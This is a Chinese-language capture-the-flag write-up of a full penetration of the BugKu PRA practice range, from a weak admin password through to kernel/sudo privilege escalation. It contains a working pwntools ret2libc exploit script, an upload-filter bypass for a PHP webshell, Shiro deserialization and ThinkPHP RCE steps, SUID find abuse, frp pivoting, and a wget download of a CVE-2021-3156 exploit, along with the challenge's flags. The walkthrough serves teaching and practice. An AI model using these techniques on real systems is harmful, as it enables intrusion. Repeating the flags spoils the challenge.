BugKu -- PRA -- 渗透测试实战:从弱口令到内网提权全流程解析
1. 靶场环境初探与信息搜集
拿到一个靶场地址,第一步千万别急着往里冲,就像你进一个陌生的房间,总得先看看门牌号、窗户在哪、有没有后门。渗透测试也是一样,信息搜集是决定你后续所有动作能否顺利的基石。这次我们面对的靶场是一个典型的Web渗透场景,IP地址已经给出,我们的目标就是从外部一步步打进去,最终拿到最高权限。
我习惯先用 nmap 对目标进行一个全面的端口扫描,看看它对外开放了哪些服务。这就像侦察兵画地图,哪些门开着,哪些窗户虚掩,一目了然。命令很简单,但信息量巨大:
nmap -sV -T4 -p- <靶机IP>
实测下来,靶机开放了以下几个关键端口:
- 80/tcp (HTTP): 主站Web服务,通常是我们渗透的起点。
- 8080/tcp (HTTP-Proxy): 另一个Web服务,可能是管理后台或另一个应用,往往是突破口。
- 9999/tcp (abyss): 一个自定义服务,后面发现是Pwn题目,涉及二进制漏洞。
- 22/tcp (SSH): SSH服务,如果能拿到凭证,就是一条稳定的通道。
光扫端口还不够,我们还得看看网站的结构。用 dirsearch 或 gobuster 这类工具扫一下目录,看看有没有隐藏的管理后台 (/admin)、备份文件 (/www.zip, /.git)、配置文件 (/config.php) 等。这一步经常能直接发现惊喜。在这个靶场里,我们很快就发现了一个 /admin 目录,这基本就指明了下一步的方向。
2. 弱口令突破与后台getshell
2.1 第一个Flag:源码泄露
访问主站80端口,是一个看似普通的网站。渗透测试的老规矩:右键查看网页源代码。很多开发者会把测试信息、注释甚至敏感数据留在源码里。这次也不例外,在页面底部,我们直接发现了第一个Flag:flag{8888342c9289af87d7fcd8678a7a386c}。同时,源码里还贴心地给出了提示:“flag2只有管理员能看到”。这几乎是在明示我们:去找后台,登录进去。
2.2 第二个Flag:经典弱口令攻防
根据提示和目录扫描结果,我们直接访问 /admin,果然跳转到了一个登录页面。面对登录框,我的第一反应永远是尝试最常见的弱口令。这不是瞎猜,而是基于大量实战经验的习惯。很多运维人员或开发者图省事,会使用 admin/admin、admin/123456 这类简单组合。输入 admin 作为用户名和密码,点击登录——成功了!后台大门就此敞开。
进入后台后,不要无头苍蝇似的乱点。根据提示“只有管理员能看到”,我们应该在后台的“系统设置”、“基本配置”这类全局性的菜单里寻找。果然,在“网站配置 -> 基本设置”中,我们找到了第二个Flag:flag{53f9889845ef3b46a84d8e934fca2c79}。这里也拿到了下一个提示:“flag在/home”。这意味着我们需要从Web后台突破到服务器系统内部,也就是常说的 getshell。
2.3 第三个Flag:文件上传漏洞的绕过艺术
要在 /home 目录下找文件,我们必须获得服务器的命令执行权限。在后台翻找功能点,发现“内容管理”或“模型管理”中存在文件上传功能。尝试上传一个普通的PHP一句话木马文件 (shell.php),系统返回提示“上传后缀为空”。这是一个典型的黑名单过滤特征:检测到 .php 后缀后,将其替换为空字符串,导致上传失败。
针对这种过滤,常用的绕过手法是双写后缀。例如,将文件名改为 shell.pphphp。当系统删除中间的 php 后,剩下的部分恰好组合成 .php,从而绕过检测。我们上传 shell.pphphp,系统返回了上传路径:/data/uploads/xxxxxx.php。
注意:这里有个细节,我实测时发现必须用
pphphp这种格式,phphpp就不行。这可能与过滤函数的具体处理逻辑(如正则匹配、替换顺序)有关,遇到类似情况需要多尝试几种变形。
使用中国蚁剑或类似的Webshell管理工具,连接这个地址,成功在服务器上获得了命令执行能力,也就是拿到了 Webshell。连接后,直接查看 /home 目录,顺利找到第三个Flag:flag{42c2d7db706f095d9875a5ebbb597235}。提示指向了数据库。
3. 数据库信息获取与Pwn挑战
3.1 第四个Flag:寻找数据库凭证
提示说flag在数据库里,我们首先需要数据库的连接信息。这类信息通常保存在网站的配置文件中,常见位置有 /config.php、/application/database.php、/config/database.php 等。通过Webshell的文件管理功能,在网站根目录及其子目录下进行寻找。
很快,我们找到了数据库配置文件,其中包含了数据库地址(通常是 127.0.0.1 或 localhost)、数据库名、用户名和密码(例如 root/root)。但是,直接尝试在Webshell里用 mysql 命令连接可能会失败,因为靶机环境可能没有安装完整的MySQL客户端,或者权限受限。
这里我常用一个更稳妥的方法:使用 mysqldump 工具直接导出数据。命令如下:
mysqldump -u<用户名> -p<密码> <数据库名> > dump.sql
然后查看导出的 dump.sql 文件,搜索 flag 关键词,或者在常见的 flag 表中查找。用这个方法,我们成功找到了第四个Flag:flag{a39a07afd472f580deb6279e7db378dc}。同时,提示出现了“nc”,结合之前端口扫描发现的 9999 端口,暗示下一个挑战与网络服务漏洞相关。
3.2 第五个Flag:栈溢出与Ret2Libc实战
根据提示,我们使用 nc 命令连接靶机的 9999 端口,发现这是一个二进制程序(Pwn题)的交互界面。题目通常提供一个可执行文件供下载分析。我们将位于 /home/ctf/main 的文件下载到本地。
用 file 命令查看,发现是32位ELF文件。用 checksec 检查保护机制,很可能只开启了NX(栈不可执行)。用IDA Pro或Ghidra进行反编译,分析出程序存在一个栈溢出漏洞,比如 read 函数读取输入的长度超过了缓冲区大小。
关键点在于,程序没有直接给出 system 函数地址或后门函数。这就需要用到 Ret2Libc 技术。思路是:
- 利用溢出漏洞,泄露一个已知函数(如
write或puts)在内存中的真实地址。 - 根据该地址,计算出所使用的
libc库的基地址。 - 根据
libc基地址,推算出system函数和字符串/bin/sh的地址。 - 构造第二次溢出,跳转到
system(“/bin/sh”),获取shell。
下面是一个基于 write 函数泄露的Python脚本示例(使用 pwntools):
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote('<靶机IP>', 9999)
elf = ELF('./main')
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
# 构造ROP链:调用write(1, write_got, 8) 泄露地址,然后返回main函数重新执行
ppp_ret = 0x08048559 # 寻找 pop esi; pop edi; pop ebp; ret 这类gadget
payload = b'A' * (0x24 + 4) + p32(write_plt) + p32(ppp_ret) + p32(1) + p32(write_got) + p32(8) + p32(main_addr)
r.sendlineafter('plz input your name:\n', payload)
write_addr = u32(r.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
# 第二次溢出,执行 system("/bin/sh")
payload2 = b'A' * 40 + p32(system_addr) + b'aaaa' + p32(binsh_addr)
r.sendlineafter('plz input your name:\n', payload2)
r.interactive()
运行脚本,成功获取到一个具有root权限的shell,在 /root 目录下找到第五个Flag:flag{86bc02275ce7a4d8fb7e17c7e6e4ac98}。
4. 多端口服务渗透与框架漏洞利用
4.1 第六个Flag:敏感文件泄露
拿到第五个Flag后,提示指向 8080 端口。我们访问 http://<靶机IP>:8080,发现另一个Web应用。对于任何Web应用,检查 robots.txt、crossdomain.xml、sitemap.xml 等文件是标准流程。访问 /robots.txt,直接在里面发现了第六个Flag:flag{f87597c33d7af97cf2872e373fa7db7f}。提示再次指向 /home,说明我们需要对这个8080端口的应用进行RCE(远程代码执行)。
4.2 第七个Flag:Shiro反序列化漏洞
观察8080端口的登录页面,尝试登录并拦截请求,发现响应头中出现了 Set-Cookie: rememberMe=deleteMe...。这是Apache Shiro框架的经典特征。Shiro框架在历史版本中存在反序列化漏洞,攻击者可以利用默认密钥伪造RememberMe Cookie,实现命令执行。
我们可以使用现成的工具进行利用,例如 shiro_attack。步骤大致如下:
- 使用工具检测漏洞并爆破出正确的加密密钥(Key)。
- 利用密钥生成恶意RememberMe Cookie。
- 将Cookie填入请求,实现命令执行,通常会上传一个Webshell或直接反弹Shell。
使用工具成功注入内存马(一种无文件落地的Webshell)后,连接并执行命令,在 /home 目录下找到第七个Flag:flag{a7081082e1474c72f83b4d84c99b9f62}。
4.3 第八个Flag:SUID提权初体验
在拿到第七个Flag的Shell后,我们当前用户权限较低,无法访问 /root 目录。需要提权。首先检查系统是否存在配置错误的SUID(Set User ID)文件。SUID是一种特殊的文件权限,它允许用户以文件所有者的权限来执行该文件。如果某个属于root且具有SUID权限的程序存在漏洞或被滥用,就可能用来提权。
执行命令查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
在结果中,我们发现 /usr/bin/find 命令具有SUID权限,并且所有者是root。find 命令有一个 -exec 参数,可以执行任意命令。利用这一点,我们可以直接提权:
# 利用现有文件(如flag文件)执行命令
find /home/ctf/flag -exec whoami \;
# 输出为 root,说明提权成功
# 直接读取root目录下的flag
find /home/ctf/flag -exec cat /root/flag \;
成功拿到第八个Flag:flag{cd2c2f3e6ff29233d78afe3b628f2daa}。提示开始指向“内网”。
5. 内网穿透与横向移动
5.1 第九个Flag:内网探测与ThinkPHP漏洞
提示要看内网。我们回到之前获取的Webshell(80端口那个),执行 ifconfig 或 ip addr 查看服务器网络配置。发现它除了公网IP,还有一个内网网卡,IP是 192.168.0.2,网段是 192.168.0.0/24。
我们需要探测这个内网里还有哪些存活主机。如果服务器上有 nmap,可以直接使用。没有的话,可以上传一个静态编译的 nmap 或者用 fscan 这类更轻量的工具。执行扫描:
nmap -sS -T4 192.168.0.0/24
发现除了本机 (0.2),还有 192.168.0.1、192.168.0.3、192.168.0.4 存活。其中 0.4 开放了80端口,是我们的新目标。
由于我们身处公网,无法直接访问内网的 192.168.0.4:80。这时就需要内网穿透(端口转发)。常用的工具有 frp、nps、ngrok 等。以 frp 为例:
- 在公网VPS上运行
frps(服务端)。 - 在内网Webshell上传并运行
frpc(客户端),配置将内网192.168.0.4:80转发到VPS的某个端口(如7777)。 - 访问
http://<你的VPS IP>:7777,就等于访问了内网的192.168.0.4:80。
访问转发后的页面,发现是一个博客站。尝试访问一个不存在的路径,如 /index.php/xxx,页面报错信息显示这是 ThinkPHP 5.0.x 框架。该版本存在已知的远程代码执行漏洞(如 5.0.23 的RCE)。我们可以使用公开的漏洞利用工具或脚本,直接获取该内网服务器的Shell。
成功利用后,在网站目录(如 /var/www/html)的上级目录中找到第九个Flag:flag{a62322c1ab634d445a586be44815803d}。提示是“database”。
5.2 第十个Flag:数据库连接与信息获取
提示指向数据库,而内网主机 192.168.0.4 也开放了3306端口。我们需要连接它的数据库。首先,要找到数据库的账号密码。在ThinkPHP的网站目录下,配置文件通常是 /application/database.php。通过已获得的Shell查看该文件,找到了数据库连接信息(如用户 aman,密码 aman123)。
接下来,修改 frpc 的配置,将内网 192.168.0.4:3306 转发到VPS的另一个端口(如 3307)。然后在VPS上使用 mysql 客户端连接:
mysql -h 127.0.0.1 -P 3307 -u aman -paman123
连接成功后,在数据库里寻找flag(通常存在于某个表的某个字段中)。找到第十个Flag:flag{9f131e70c9c2cab880980a8fb2b3dafa}。提示再次指向“root”,意味着又需要提权。
6. 内核漏洞提权与最终突破
6.1 第十一个Flag:CVE-2021-3156 提权
在 192.168.0.4 这台内网服务器上,我们当前的用户权限不足。尝试之前的SUID提权方法(如 find)可能无效。需要寻找新的提权路径。常用的方法是检查系统内核版本、已安装的软件版本,看是否存在公开的本地提权漏洞。
执行 uname -a 查看内核版本。假设发现内核版本较旧,可能存在已知漏洞。例如,著名的 CVE-2021-3156(Sudo权限绕过漏洞)影响范围很广。我们可以搜索并下载对应的漏洞利用代码(PoC)。
操作步骤如下:
- 在获取的Shell中,切换到可写目录,如
/tmp。 - 下载提权EXP。如果服务器能出网,直接用
wget或curl;如果不能,可以从本地上传。 - 编译并运行EXP。对于CVE-2021-3156,通常的步骤是:
cd /tmp wget https://example.com/sudo-hax-me-a-sandwich.tar.gz tar -xzf sudo-hax-me-a-sandwich.tar.gz cd CVE-2021-3156 make ./sudo-hax-me-a-sandwich 0 # 参数通常选择目标sudo版本对应的编号 - 如果利用成功,当前Shell就会变成
root权限。
提权成功后,最终在 /root 目录下找到最后一个Flag:flag{48481200756f8d75f20248e4429fd51e}。
整个渗透流程至此结束。从外网一个简单的弱口令开始,通过文件上传、数据库信息泄露、二进制漏洞、框架漏洞、内网横向移动、多种提权手法,最终完全掌控了靶场环境。这个过程几乎涵盖了Web渗透测试中的大部分核心技能点,对于初学者建立完整的渗透思维和实战能力非常有帮助。每个环节遇到的“坑”,比如双写绕过的特定格式、Ret2Libc的构造、内网穿透的配置、特定EXP的编译运行,都是宝贵的实战经验。多打靶场,多复盘总结,面对真实环境时才能更加从容。
更多推荐
所有评论(0)